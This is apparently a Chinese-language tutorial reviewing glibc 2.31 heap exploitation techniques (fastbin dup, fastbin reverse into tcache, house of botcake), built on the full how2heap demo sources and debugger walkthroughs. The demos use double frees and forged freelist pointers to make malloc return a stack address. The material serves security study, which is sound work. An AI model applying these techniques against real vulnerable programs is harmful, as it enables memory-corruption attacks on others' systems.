前言
当前常用的glibc版本都开始升级到2.31以后了,相对于ubuntu来说就是20.04、22.04之后的版本。同时接触heap的tcache部分也有很长一段时间了,但是平时做题的时候,都是凭印象用各种技巧。本文通过how2heap的例子对2.31的技巧进行巩固总结一下。
fastbin dup
ptmalloc管理机制中,tcache的优先级是高于fastbin的,但是通过calloc函数申请的内存是跳过tcache的。fastbin dup技巧就是绕过tcache实现2.23版本下面的double free操作。下面是demo源码,中间的注释函数进行了部分缩减。
demo源码
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
printf("This file demonstrates a simple double-free attack with fastbins.\n");
printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
//释放7个chunk填满tcache
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
//通过calloc函数掠过tcache申请内存
printf("Allocating 3 buffers.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
//常规的fastbin double free
printf("Freeing the first one...\n");
free(a);
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
printf("So, instead, we'll free %p.\n", b);
free(b);
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
//通过三次申请,可以实现chunk overlap
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
assert(a == c);
}
动调展示
18行下断点,0x20大小的tcache被free的chunk 填满了。
在28行下断点,看到我们用calloc申请的三个chunk地址。
在40行下断点,指针a和b指向的chunk都进入了fastbin列表中,同时因为free的时候,chunk a的指针并没有置零,我们实现了第二次free chunk a,构造出了循环连接的fastbin 列表。
最后在48行下断点,可以看到指针a和c指向了同一个chunk,实现了chunk overlap。
fastbin reverse into tcache
在tcache和fastbin中,存储的chunk都是FILO的,所以都是用fd指针来构建链表的。
另外,在tcache和fatsbin的同大小列表中,如果从tcache申请出chunk让tcache列表没有达到7个满的chunk,同时fatsbin列表中还有free状态的chunk,那么就会将fastbin列表中的chunk一个一个取出来并放入tcache列表中。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
setbuf(stdout, NULL);
printf(
"\n"
"This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
"except it works with a small allocation size (allocsize <= 0x78).\n"
"The goal is to set things up so that a call to malloc(allocsize) will write\n"
"a large unsigned value to the stack.\n\n"
);
// Allocate 14 times so that we can free later.
char* ptrs[14];
size_t i;
for (i = 0; i < 14; i++) {
ptrs[i] = malloc(allocsize);
}
printf(
"First we need to free(allocsize) at least 7 times to fill the tcache.\n"
"(More than 7 times works fine too.)\n\n"
);
// Fill the tcache.
for (i = 0; i < 7; i++) {
free(ptrs[i]);
}
char* victim = ptrs[7];
printf(
"The next pointer that we free is the chunk that we're going to corrupt: %p\n"
"It doesn't matter if we corrupt it now or later. Because the tcache is\n"
"already full, it will go in the fastbin.\n\n",
victim
);
free(victim);
printf(
"Next we need to free between 1 and 6 more pointers. These will also go\n"
"in the fastbin. If the stack address that we want to overwrite is not zero\n"
"then we need to free exactly 6 more pointers, otherwise the attack will\n"
"cause a segmentation fault. But if the value on the stack is zero then\n"
"a single free is sufficient.\n\n"
);
// Fill the fastbin.
for (i = 8; i < 14; i++) {
free(ptrs[i]);
}
// Create an array on the stack and initialize it with garbage.
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));
printf(
"The stack address that we intend to target: %p\n"
"It's current value is %p\n",
&stack_var[2],
(char*)stack_var[2]
);
printf(
"Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
"to overwrite the next pointer at address %p\n\n",
victim
);
//------------VULNERABILITY-----------
// Overwrite linked list pointer in victim.
*(size_t**)victim = &stack_var[0];
//------------------------------------
printf(
"The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"
);
// Empty tcache.
for (i = 0; i < 7; i++) {
ptrs[i] = malloc(allocsize);
}
printf(
"Let's just print the contents of our array on the stack now,\n"
"to show that it hasn't been modified yet.\n\n"
);
for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}
printf(
"\n"
"The next allocation triggers the stack to be overwritten. The tcache\n"
"is empty, but the fastbin isn't, so the next allocation comes from the\n"
"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
"Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
"address that we are targeting ends up being the first chunk in the tcache.\n"
"It contains a pointer to the next chunk in the list, which is why a heap\n"
"pointer is written to the stack.\n"
"\n"
"Earlier we said that the attack will also work if we free fewer than 6\n"
"extra pointers to the fastbin, but only if the value on the stack is zero.\n"
"That's because the value on the stack is treated as a next pointer in the\n"
"linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
"\n"
"The contents of our array on the stack now look like this:\n\n"
);
malloc(allocsize);
for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}
char *q = malloc(allocsize);
printf(
"\n"
"Finally, if we malloc one more time then we get the stack address back: %p\n",
q
);
assert(q == (char *)&stack_var[2]);
return 0;
}
直接在44行下断点,看到一开始申请的14个chunk已经free了8个,前七个填满了tcache,最后一个进入了fastbin中。同时victim指针也指向了这第八个chunk。
57行下断点,看到剩下的6个chunk也被free进了fastbin中。可以看到fastbin链表中最后一个chunk,也就是最先进入fastbin的chunk,就是victim。
然后初始化一段栈上的空间,命名为stack_var数组。
在79行下断点,最关键的attack,将victim的fd指针指向了stack_var的地址,伪造了一段fastbin链表。(当然,实际攻击中这里需要有堆溢出或者UAF漏洞才能够实现)
90行下断点,申请清空所有tcache
119行下断点。在清空tcache后,只要再申请一个chunk,系统会检查到tcache并没有满,从而将剩下的fastbin chunk一个一个取出并放入tcache中。由于我们伪造了一个fastbin 链表,所以fastbin reverse into tcache的时候,第一个chunk就是我们伪造地址的chunk。
后面再申请chunk就可以申请到我们想要的目标地址了。
house of botcake
此攻击手法利用的还是double free这一点,我们能够实现将同一个chunk分别放入tcache和unsorted bin中。
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
/*
* This attack should bypass the restriction introduced in
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
* If the libc does not include the restriction, you can simply double free the victim and do a
* simple tcache poisoning
* And thanks to @anton00b and @subwire for the weird name of this technique */
// disable buffering so _IO_FILE does not interfere with our heap
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// introduction
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
puts("returning a pointer to an arbitrary location (in this demo, the stack).");
puts("This attack only relies on double free.\n");
// prepare the target
intptr_t stack_var[4];
puts("The address we want malloc() to return, namely,");
printf("the target address is %p.\n\n", stack_var);
// prepare heap layout
puts("Preparing heap layout");
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
puts("Allocating a chunk for later consolidation");
intptr_t *prev = malloc(0x100);
puts("Allocating the victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\n", a);
puts("Allocating a padding to prevent consolidation.\n");
malloc(0x10);
// cause chunk overlapping
puts("Now we are able to cause chunk overlapping");
puts("Step 1: fill up tcache list");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
free(a);
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
free(prev);
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
malloc(0x100);
/*VULNERABILITY*/
free(a);// a is already freed
/*VULNERABILITY*/
// simple tcache poisoning
puts("Launch tcache poisoning");
puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
intptr_t *b = malloc(0x120);
puts("We simply overwrite victim's fwd pointer");
b[0x120/8-2] = (long)stack_var;
// take target out
puts("Now we can cash out the target chunk.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("The new chunk is at %p\n", c);
// sanity check
assert(c==stack_var);
printf("Got control on target/stack!\n\n");
// note
puts("Note:");
puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");
puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");
return 0;
}
在51行下断点。首先申请了9个0x100大小的chunk,1个0x10大小的chunk用作分割。释放前7个0x100的chunk,填满tcache。
57行下断点。先free的chunk a,再free的chunk prev,合并两个chunk。
64行下断点,先malloc从tcache中申请一个chunk,再double free chunk a,让chunk a进入tcache。
67行下断点,红色区域是chunk a的header和fd部分,蓝色区域是刚才切割合并的unsorted bin的剩余size大小。因为我们申请了0x120大小的chunk,所以在chunk的最后0x10字节,就可以控制tcache的fd指针。
在69行下断点。看到修改了tcache的fd指针,指向了我们设定的栈上的地址。
当然,如果没有show此类函数泄露地址时,也可以在申请时只申请0x110大小的chunk,这样就可以借助剩下的main_arena指针构造stdout地址进行io leak